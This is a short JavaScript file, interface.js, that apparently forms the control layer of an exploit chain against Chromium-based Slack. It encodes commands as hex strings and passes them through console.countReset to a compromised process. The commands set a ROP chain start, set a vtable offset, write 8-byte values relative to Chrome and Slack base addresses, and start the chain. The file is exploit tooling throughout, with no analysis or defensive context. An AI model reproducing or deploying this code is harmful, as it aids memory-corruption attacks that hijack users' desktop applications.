interface.js

const CMD_SET_ROP_START = 0;
const CMD_SET_OFFSET_VTABLE = 1;
const CMD_WRITE8 = 2;
const CMD_WRITE8_CHROME_BASE_PLUS_VALUE = 3;
const CMD_WRITE8_SLACK_BASE_PLUS_VALUE = 4;
const CMD_WRITE8_SLACK_BASE_ALIGNED = 5;
const CMD_START = 6;

function int64(num) {
    return ("0000000000000000"+(BigInt(num).toString(16))).slice(-16);
}

function control(cmd, arg="") {
    let s = int64(cmd) + arg;
    console.countReset(s);
}

function set_rop_start(addr) {
    control(CMD_SET_ROP_START, int64(addr));
}

function set_offset_vtable(offset) {
    control(CMD_SET_OFFSET_VTABLE, int64(offset));
}

function write8(offset, val) {
    control(CMD_WRITE8, int64(offset)+int64(val));
}

function write8_chrome_base_plus_val(offset, val) {
    control(CMD_WRITE8_CHROME_BASE_PLUS_VALUE, int64(offset)+int64(val));
}

function write8_slack_base_plus_val(offset, val) {
    control(CMD_WRITE8_SLACK_BASE_PLUS_VALUE, int64(offset)+int64(val));
}

function write8_slack_base_aligned(offset) {
    control(CMD_WRITE8_SLACK_BASE_ALIGNED, int64(offset));
}

function start() {
    control(CMD_START);
}